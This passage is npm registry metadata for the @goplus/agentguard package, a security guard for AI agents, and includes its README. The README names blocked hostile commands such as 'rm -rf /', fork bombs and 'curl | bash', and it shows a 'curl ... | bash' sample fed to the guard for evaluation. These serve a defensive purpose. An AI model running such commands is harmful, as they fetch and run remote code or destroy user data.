scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.4-beta.3_1792239026689_0.13768924027908502","host":"s3://npm-registry-packages-npm-production"}},"1.2.4-beta.4":{"name":"@goplus/agentguard","version":"1.2.4-beta.4","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.4-beta.4","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"c298c50cd5d5c6577add90fccb41bf56a766a85f","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.4-beta.4.tgz","fileCount":510,"integrity":"sha512-DpwwgG7egw95HEEDeTj0i44OoYr1JBSluudsJrhRIjO8Nx72CpaZRZe/NlxrFbyETWMx34zmZ5OrbaMu3hpHgQ==","signatures":[{"sig":"MEUCIQCAFBT2v6DPFIN5iV6WCAK7sPpLI2odr6gDsdhjhgKEPgIgYL7MZALXpejqCK+nFRO2pg8L0JmiW9VLX/AJMi2g0cc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD+X3dkYUq48+kn5EzxBGK7/qm2EnwNssYV/rPFp8yoVwIhAMqoG7kPahjp5THM74N2lvHOz6HAE1yIjxVRIE/4/eyS","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3144367},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9348dc508746ce95a9c12da0d382f704bbc2b0e1","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.4-beta.4_1792280939451_0.16508644066990175","host":"s3://npm-registry-packages-npm-production"}},"1.2.4-beta.5":{"name":"@goplus/agentguard","version":"1.2.4-beta.5","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.4-beta.5","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"b5a7e06af972d89f28199dcca6d4241f1db4d105","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.4-beta.5.tgz","fileCount":510,"integrity":"sha512-djZDT6ruGF8kn/ZMto20gGbksTGTTdHp2ioQsMpRAT30Grc02Vo8MdncXvdkbI6TdkNJuNTYz7rWh3CvOjipDw==","signatures":[{"sig":"MEYCIQCegGGltkC+KDWW44A4Oc817gsxAyKSh3hby0GzdEVHfgIhAI5EN6wI/1Iuuk/5Grf886Cy/lqfoYGXLdMoG7jivZFR","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQC0nu0+LWmkyGv9JqvoaZiB3FtTzMRKDcl3UKPQML9cJQIgDvlMhQD4meL2BSgr82ASUeX+E5nEzRQc4Bnb6jnWGxY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3159756},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"99d17d17e9b6d6f4d87c8d7f7fce79bccce2efa6","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.4-beta.5_1792396372372_0.9441289196017542","host":"s3://npm-registry-packages-npm-production"}},"1.2.4":{"_id":"@goplus/agentguard@1.2.4","bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"dist":{"shasum":"8cb3e7588c5550e4a0b1d7ef854cade00d31bc23","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.4.tgz","fileCount":510,"integrity":"sha512-eCl+jVlX6yGllVBy0zTu/eeY+8xnD2xjXD3VAFZj+m5qW4O17AVEz2mQB6ut8cHLgMlXg69kPamm9K5znkfZFg==","signatures":[{"sig":"MEQCIF7wT68psmD7lgfVoE+qcAjY49eYbCB7zMoxXez0qDDdAiBtypDVDWup5wslheMrBHkOttnlgvsNj3E69RAf2lNOaw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEYCIQDccyN9KBQmMGAKXQihf4nb+xJ5z4XElcmfbdKnN0tXrAIhAMzuiJMmLoTEh1B8WmSHo1LHlM1T0se2fqyvRXz6EfVk"}],"unpackedSize":3159749},"main":"dist/index.js","name":"@goplus/agentguard","types":"dist/index.d.ts","author":{"name":"GoPlusSecurity"},"engines":{"node":">=18.0.0"},"gitHead":"99d17d17e9b6d6f4d87c8d7f7fce79bccce2efa6","license":"MIT","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"version":"1.2.4","_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/agentguard_1.2.4_1792400432466_0.17822539668194182"}}},"time":{"created":"2026-02-04T08:05:16.694Z","modified":"2026-10-19T09:00:32.812Z","1.0.0":"2026-02-04T08:05:16.990Z","1.0.1":"2026-02-05T05:56:25.344Z","1.0.2":"2026-02-06T06:01:11.866Z","1.0.4":"2026-02-18T12:05:28.190Z","1.0.5":"2026-03-09T02:55:12.604Z","1.0.6":"2026-03-09T03:29:33.249Z","1.0.7":"2026-03-13T10:21:23.483Z","1.0.8":"2026-03-18T10:19:13.701Z","1.0.9":"2026-03-18T10:38:13.499Z","1.0.10":"2026-03-23T06:55:40.444Z","1.0.11":"2026-03-23T09:20:00.419Z","1.0.12":"2026-03-26T05:52:46.762Z","1.0.13":"2026-03-31T05:29:28.331Z","1.0.14":"2026-03-31T05:43:25.268Z","1.1.1":"2026-04-17T08:50:12.862Z","1.1.2":"2026-05-12T07:32:56.304Z","1.1.3":"2026-05-12T10:29:57.120Z","1.1.4":"2026-05-14T02:42:14.576Z","1.1.5":"2026-05-18T03:07:11.106Z","1.1.6":"2026-05-18T10:06:12.222Z","1.1.7":"2026-05-18T11:49:57.738Z","1.1.8":"2026-05-19T11:43:43.763Z","1.1.9":"2026-05-20T10:37:40.165Z","1.1.10":"2026-05-21T06:57:12.212Z","1.1.11":"2026-05-21T10:35:41.795Z","1.1.12":"2026-05-21T11:59:24.794Z","1.1.13":"2026-05-21T13:26:20.081Z","1.1.14":"2026-05-22T07:43:10.979Z","1.1.15":"2026-05-25T06:40:42.002Z","1.1.16":"2026-05-25T12:23:25.444Z","1.1.17":"2026-05-26T11:38:42.680Z","1.1.18":"2026-05-26T13:35:55.462Z","1.1.19":"2026-05-27T08:42:12.432Z","1.1.20":"2026-05-27T11:16:17.669Z","1.1.21":"2026-05-28T07:11:50.666Z","1.1.22":"2026-05-28T09:19:46.815Z","1.1.23":"2026-05-28T11:32:42.994Z","1.1.24":"2026-05-28T12:21:55.403Z","1.1.25":"2026-05-28T13:36:45.048Z","1.1.26":"2026-05-28T14:01:11.613Z","1.1.27":"2026-05-29T10:20:53.987Z","1.1.28-beta.0":"2026-06-04T09:11:59.003Z","1.1.28-beta.1":"2026-06-05T09:00:51.770Z","1.1.28-beta.2":"2026-06-10T11:28:43.702Z","1.1.28":"2026-06-16T09:41:15.268Z","1.1.29-beta.0":"2026-06-17T10:28:11.551Z","1.1.29-beta.1":"2026-08-19T10:40:17.356Z","1.1.29-beta.2":"2026-08-21T15:16:44.614Z","1.1.29-beta.3":"2026-08-25T03:39:43.494Z","1.1.29-beta.4":"2026-08-25T08:29:54.404Z","1.1.29":"2026-08-26T10:46:43.923Z","1.1.30-beta.0":"2026-09-02T09:41:15.993Z","1.1.30-beta.1":"2026-09-04T09:30:25.369Z","1.1.30-beta.2":"2026-09-10T07:41:12.007Z","1.1.30-beta.3":"2026-09-16T03:20:28.128Z","1.1.30-beta.4":"2026-09-21T02:45:31.863Z","1.2.1-beta.1":"2026-09-22T09:30:29.753Z","1.2.1-beta.2":"2026-09-24T04:06:58.500Z","1.2.1-beta.3":"2026-09-28T09:55:24.041Z","1.2.1-beta.4":"2026-09-29T07:58:03.047Z","1.2.1-beta.5":"2026-09-29T10:53:55.760Z","1.2.1":"2026-09-29T11:55:27.630Z","1.2.2-beta.1":"2026-10-08T03:53:35.947Z","1.2.2-beta.2":"2026-10-10T08:13:52.249Z","1.2.2-beta.3":"2026-10-12T03:32:10.593Z","1.2.2-beta.4":"2026-10-12T04:02:27.727Z","1.2.2-beta.5":"2026-10-14T10:19:22.333Z","1.2.2-beta.6":"2026-10-15T07:40:18.342Z","1.2.2-beta.7":"2026-10-16T03:49:56.145Z","1.2.2":"2026-10-16T07:46:02.781Z","1.2.3":"2026-10-16T10:12:28.951Z","1.2.4-beta.1":"2026-10-16T16:35:44.358Z","1.2.4-beta.2":"2026-10-17T05:27:33.681Z","1.2.4-beta.3":"2026-10-17T12:10:26.823Z","1.2.4-beta.4":"2026-10-17T23:48:59.550Z","1.2.4-beta.5":"2026-10-19T07:52:52.524Z","1.2.4":"2026-10-19T09:00:32.628Z"},"bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"author":{"name":"GoPlusSecurity"},"license":"MIT","homepage":"https://github.com/GoPlusSecurity/agentguard#readme","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"readme":"<p align=\"center\">\n  <img src=\"assets/logo.png\" alt=\"GoPlus AgentGuard\" width=\"120\" />\n</p>\n\n<h1 align=\"center\">GoPlus AgentGuard</h1>\n\n<p align=\"center\"><b>The essential security guard for every AI agent user.</b></p>\n\n<p align=\"center\">Your AI agent has full access to your terminal, files, and secrets — but zero security awareness.<br/>A malicious skill or prompt injection can steal your keys, drain your wallet, or wipe your disk.<br/><b>AgentGuard stops all of that.</b></p>\n\n[![npm](https://img.shields.io/npm/v/@goplus/agentguard.svg)](https://www.npmjs.com/package/@goplus/agentguard)\n[![GitHub Stars](https://img.shields.io/github/stars/GoPlusSecurity/agentguard)](https://github.com/GoPlusSecurity/agentguard)\n[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)\n[![CI](https://github.com/GoPlusSecurity/agentguard/actions/workflows/ci.yml/badge.svg)](https://github.com/GoPlusSecurity/agentguard/actions/workflows/ci.yml)\n[![Agent Skills](https://img.shields.io/badge/Agent_Skills-compatible-purple.svg)](https://agentskills.io)\n\n## Why AgentGuard?\n\nAI coding agents can execute any command, read any file, and install any skill — with zero security review. The risks are real:\n\n- **Malicious skills** can hide backdoors, steal credentials, or exfiltrate data\n- **Prompt injection** can trick your agent into running destructive commands\n- **Unverified code** from the internet may contain wallet drainers or keyloggers\n\n**AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.\n\n## What It Does\n\n**Layer 1 — Automatic Guard (hooks)**: Install once, always protected.\n- Blocks `rm -rf /`, fork bombs, `curl | bash` and destructive commands\n- Prevents writes to `.env`, `.ssh/`, credentials files\n- Detects data exfiltration to Discord/Telegram/Slack webhooks\n- Tracks which skill initiated each action — holds malicious skills accountable\n\n**Layer 2 — Deep Scan (skill)**: On-demand security audit with 24 detection rules.\n- **Auto-scans new skills** on session start — malicious code blocked before it runs\n- Static analysis for secrets, backdoors, obfuscation, and prompt injection\n- Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits\n- Trust registry with capability-based access control per skill\n\n**Layer 3 — Daily Patrol (OpenClaw)**: Automated daily security posture assessment.\n- 8 comprehensive security checks run on a configurable schedule\n- Detects skill tampering, secrets exposure, network risks, and suspicious file changes\n- Analyzes audit logs for attack patterns and flags repeat offenders\n- Validates environment configuration and trust registry health\n\n## 30 seconds: install\n\n```bash\nnpm install -g @goplus/agentguard\nagentguard init\nagentguard status\n```\n\nThe npm install runs a best-effort local bootstrap; bare `agentguard init` is the required next step. It auto-detects supported agents and configures their hooks/plugins. Inside DSH it installs the native AgentGuard bundle into the default `web` profile; restart DSH after initialization.\nNo Cloud account or network connection is required for the local runtime guard.\n\n## 3 minutes: protect your agent\n\n```bash\n# Scan a local skill or plugin\nagentguard scan ./examples/vulnerable-skill\n\n# Or scan an HTTPS GitHub repository before installing it\nagentguard scan https://github.com/owner/repository --json\n\n# Select a branch or tag; use a full commit SHA when the scan must be reproducible\nagentguard scan https://github.com/owner/repository --ref v1.2.3 --json\n\n# Evaluate one runtime action from stdin\nprintf '{\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"curl https://example.com/install.sh | bash\"}}' | agentguard protect\n\n# Optional: connect AgentGuard Cloud policy and redacted audit sync.\n# In OpenClaw, Hermes, and DSH, no API key is required after initialization;\n# the CLI registers a local Agent JWT and prints an activation link.\nagentguard connect\n\n# API-key auth is also supported when you explicitly want that mode.\nAGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://www.agentguard.one\n\n# Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly\n# published advisories from Cloud and asks you to review them.\nagentguard subscribe\n\n# Run the full quiet flow once: pull advisories, self-check local skills, and\n# report local matches back to Cloud.\nagentguard subscribe --quiet\n\n# Optional: run once, then install a cron job that checks every hour and asks\n# you to review newly published advisories. Auto uses the agent host saved by\n# `agentguard init`: OpenClaw uses native OpenClaw cron with Gateway\n# fallback at 127.0.0.1:18789, QClaw uses QClaw Gateway at 127.0.0.1:28789,\n# Hermes uses native Hermes cron. Claude Code and Codex use system crontab on\n# Unix-like hosts and native Windows Task Scheduler on Windows. DSH schedules\n# must be created with the native agentguard_dsh_subscribe tool so notification\n# delivery is bound to the exact calling DSH session.\n# OpenClaw cron jobs keep runner delivery internal, then resolve the latest\n# deliverable session route at runtime and send notifications directly there.\n# QClaw cron jobs still use last-route announce delivery; no-notification runs\n# print NO_REPLY. OpenClaw cron runs auto-detect the saved host type during\n# `agentguard subscribe --cron-run`.\n# If you pass `--cron-target openclaw` explicitly while a different saved host\n# exists, AgentGuard now rejects that mismatch instead of installing a cron job\n# that cannot notify correctly.\n# If no agent host is saved, run `agentguard init --agent <agent>` first or\n# pass --cron-target explicitly.\nagentguard subscribe --cron \"0 * * * *\"\n\n# For DSH, ask the active session to invoke agentguard_dsh_subscribe instead.\n# The generic --cron form is rejected when DSH is the saved agent host because\n# a standalone CLI process cannot determine the target DSH session id.\n\n# Override cron backend selection when needed.\nagentguard subscribe --cron \"0 * * * *\" --cron-target system\nagentguard subscribe --cron \"0 * * * *\" --cron-target openclaw\nagentguard subscribe --cron \"0 * * * *\" --cron-target qclaw\nagentguard subscribe --cron \"0 * * * *\" --cron-target hermes\nagentguard subscribe --cron \"0 * * * *\" --cron-target windows\n# System cron and Windows Task Scheduler write output to\n# ~/.agentguard/feed-cron.log. Windows tasks run as the current user and only\n# while that user is logged on; no password or SYSTEM account is configured.\n# Hermes cron writes a no-agent script under ~/.hermes/scripts/ and requires\n# Hermes Gateway for automatic scheduled execution.\n\n# Or install the hourly cron in quiet mode so matches are self-checked and\n# reported automatically.\nagentguard subscribe --cron \"0 * * * *\" --quiet\n\n# Replace an existing cron job with the same name\nagentguard subscribe --cron \"0 * * * *\" --force\n\n# Machine-readable output always includes a cron status object:\n# cron.requested, cron.installed, and optional cron.result when installation succeeds.\nagentguard subscribe --json\n\n# Or run a one-off self-check against a single advisory id\nagentguard checkup --against-advisory AGS-2026-0042\n\n# Re-run host setup manually when needed. Bare init auto-detects installed agents.\nagentguard init\nagentguard init --agent claude-code\nagentguard init --agent codex\nagentguard init --agent openclaw\nagentguard init --agent hermes        # native Hermes plugin (add --shell-hooks for the legacy flow)\nagentguard init --agent qclaw\nagentguard init --agent dsh           # native bundle in the default web profile; restart DSH\n```\n\n### Audit DeepSeek Harness plugins before installation\n\nThe Phase 1 DSH scanner understands current `dsh.bundle.patch`, `dsh.profile.bundles`, `dsh.client`, and Cordis configuration structures in addition to JavaScript and TypeScript capabilities.\n\n```bash\n# Human-readable report\nagentguard dsh-scan ./path/to/dsh-plugin\n\n# Machine-readable report from a GitHub repository\nagentguard dsh-scan https://github.com/owner/dsh-plugin --format json\n\n# Reproducible report for a release tag, branch, or exact commit\nagentguard dsh-scan https://github.com/owner/dsh-plugin --ref v1.2.3 --format json\n\n# Self-contained shareable report page\nagentguard dsh-scan ./path/to/dsh-plugin --format html --output report.html\n```\n\nReports include DSH identification confidence, plugin kind, explainable risk level, permission profile, impact layers, source evidence, structured file-coverage accounting, and an installation recommendation. File-count truncation, oversized matching files, or ordinary read failures produce `DSH_SCAN_INCOMPLETE` and can never return `safe-to-try`. See [AgentGuard for DSH](docs/dsh.md) for the risk model and current limitations.\n\nInstall AgentGuard as a native DSH tool plugin, then restart the profile:\n\n```bash\ndsh plugin --profile web add --allow-build=@goplus/agentguard @goplus/agentguard\n```\n\nDSH will expose the read-only `agentguard_dsh_scan` tool for scanning local plugin directories and HTTPS GitHub repositories before installation.\nIt also exposes `agentguard_dsh_scan_batch` for a sequential review queue of up to 10 targets per DSH tool call. The CLI accepts larger JSON manifests of up to 25 targets with `agentguard dsh-scan-batch`.\nUse `agentguard_dsh_compare` or the `agentguard dsh-compare` CLI command to identify new permissions and runtime risks before updating an approved plugin version.\nThe native `agentguard_dsh_subscribe` tool binds system-cron threat-feed polling to the current DSH agent. `agentguard_dsh_subscription_status` reports bounded cron and queue metadata without notice contents, and exact-target `agentguard_dsh_unsubscribe` removes cron, matching queued notices, then saved state in retry-safe order. Notification-worthy pulls are durably queued across DSH downtime and delivered as a safe ordinary follow-up only to that exact live agent; delivery never automatically executes scans or remediation. Scheduled self-checks also discover DSH user/project skills, immediate profile manifests, declared direct dependencies, and home/profile Cordis patches without recursively walking dependency trees. See the [DSH subscription and local testing guide](docs/dsh.md#subscribe-to-threat-intelligence-from-dsh).\n\nUpdate or remove it from the same profile with `dsh plugin --profile web update @goplus/agentguard` or `dsh plugin --profile web remove @goplus/agentguard`. The [DSH operations and report guide](docs/dsh.md#operate-the-dsh-installation) includes verification and troubleshooting steps.\n\n> **DSH runtime guard:** the packaged composition enables `protect` mode by default, applying AgentGuard's shared allow/warn/require-approval/block policy before DSH dispatches a tool. Startup logs and the input-redacted `agentguard_dsh_runtime_summary` tool explicitly show the current configured mode and whether pre-execute enforcement is active. Set `runtime.mode: observe` only when audit-only shadow evaluation is required. DSH protection uses DSH's native one-shot approval service and monotonic composition with other policies. Optional `runtime.postResponseMode: block-malicious` suppresses only block-class malicious network results; approval-class post results remain audit-only because DSH has no resumable post-result approval protocol. Exact operator-configured `runtime.attribution.toolOwners` bindings add source ownership without guessing, and `runtime.ownerPolicies` can impose per-owner minimum decisions without weakening shared security policy. Unmapped tools remain `unknown` until DSH exposes a reliable native owner field. See the [DSH runtime guide](docs/dsh-runtime.md).\n\nThe complete candidate scope, activation override, acceptance gates, and intentional boundaries are collected in [AgentGuard for DSH complete candidate](docs/dsh-complete-candidate.md).\n\nThe enforcing adapter maps approval decisions to DSH's native `ask` contract, emits bounded evidence-free reasons, preserves stronger downstream policies, fails closed on unexpected evaluator errors by default, and is registered whenever `protect` is configured, including by the packaged default composition.\n\nNative contract gates cover the full pre-execute approval outcome matrix, concurrent and nested calls, failures, unload, and post-execute result containment. Block-class malicious responses can be suppressed explicitly; approval-class post results remain audit-only because DSH currently exposes no native post-approval resume primitive. The complete candidate passed all 11 guided DSH UAT cases, including native approval/rejection, pre-execute blocking, response containment, redaction, and service stability.\n\nThe shared runtime detector treats unpinned Git sources executed through `npx`, `npm exec`, `pnpm dlx`, `yarn dlx`, or `bunx` as high-risk remote code execution. Full commit pins reduce this to a warning rather than making remote code implicitly trusted.\n\nPhase 1.1 keeps the conservative full-repository risk while adding a separate runtime-surface risk, evidence source categories, likely-generated markers, and a human-review priority. Tests, examples, docs, and data findings remain visible instead of being silently discarded.\n\nPhase 1.2 treats active `SKILL.md` and agent-instruction files as runtime-relevant, keeps executable source runtime-relevant even under `data/` or `assets/`, distinguishes computed local module loading from remote code execution, and requires concrete credential APIs before reporting keychain access.\n\nPhase 1.3 localizes compound `AUTO_UPDATE` evidence around the matched update behavior. Large bundled or third-party JavaScript files no longer become critical merely because unrelated network and execution tokens appear elsewhere in the same file; executable files under `assets/` remain visible to prevent path-based evasion.\n\nPhase 1.4 separates eval-like `DYNAMIC_CODE_EXECUTION` from encoded or packed-code `OBFUSCATION`. DSH reports aggregate repeated matches by rule and file, retain the total occurrence count, and keep generated runtime bundles security-relevant instead of treating source maps as proof of safety.\n\nThe Phase 1 release candidate freezes those rule semantics and adds an exact-commit real-world regression gate. See [the RC acceptance plan](docs/dsh-phase1-rc.md) and [benchmark policy](benchmarks/dsh/README.md).\n\n<details>\n<summary><b>Full install with auto-guard hooks (Claude Code)</b></summary>\n\n```bash\ngit clone https://github.com/GoPlusSecurity/agentguard.git\ncd agentguard && ./setup.sh\nclaude plugin add /path/to/agentguard\n```\n\nThis installs the skill, configures hooks, and sets your protection level.\n\n</details>\n\n### Optional: enhanced privacy mode\n\nAgentGuard's deterministic rules find personal data written as `field: value`.\nThey recall very little from prose — which is the shape prompts, chat logs and\nagent memory take. Enhanced mode adds a semantic judgment step for that surface.\n\n```bash\nagentguard privacy status      # what is active, and what it would send\nagentguard privacy enable --yes\nagentguard privacy disable\n```\n\nIt is **off by default** and requires an explicit confirmation, because turning\nit on changes what leaves the machine. `scan` sends extracted spans only for\nsource files and adds filtered prose for documentation; `checkup` analyses agent\nmemory and logs. Live prompts are never analysed this way. If the provider is\nunreachable, coverage degrades to `partial` and is reported as such rather than\npresented as clean. See [Privacy and data boundary](docs/privacy-boundary.md).\n\nSee also:\n\n- [Connect OSS AgentGuard to Cloud](docs/cloud-connect.md)\n- [Privacy and data boundary](docs/privacy-boundary.md)\n- [Claude Code setup](docs/claude-code.md)\n- [OpenClaw setup](docs/openclaw.md)\n- [Hermes Agent setup](docs/hermes.md)\n- [Codex setup](docs/codex.md)\n- [Building the .mcpb bundle](docs/mcpb-build.md)\n\n<details>\n<summary><b>Manual install (skill only)</b></summary>\n\n```bash\ngit clone https://github.com/GoPlusSecurity/agentguard.git\ncp -r agentguard/skills/agentguard ~/.claude/skills/agentguard\n```\n\n</details>\n\n<details>\n<summary><b>OpenClaw plugin install</b></summary>\n\n```bash\nnpm install 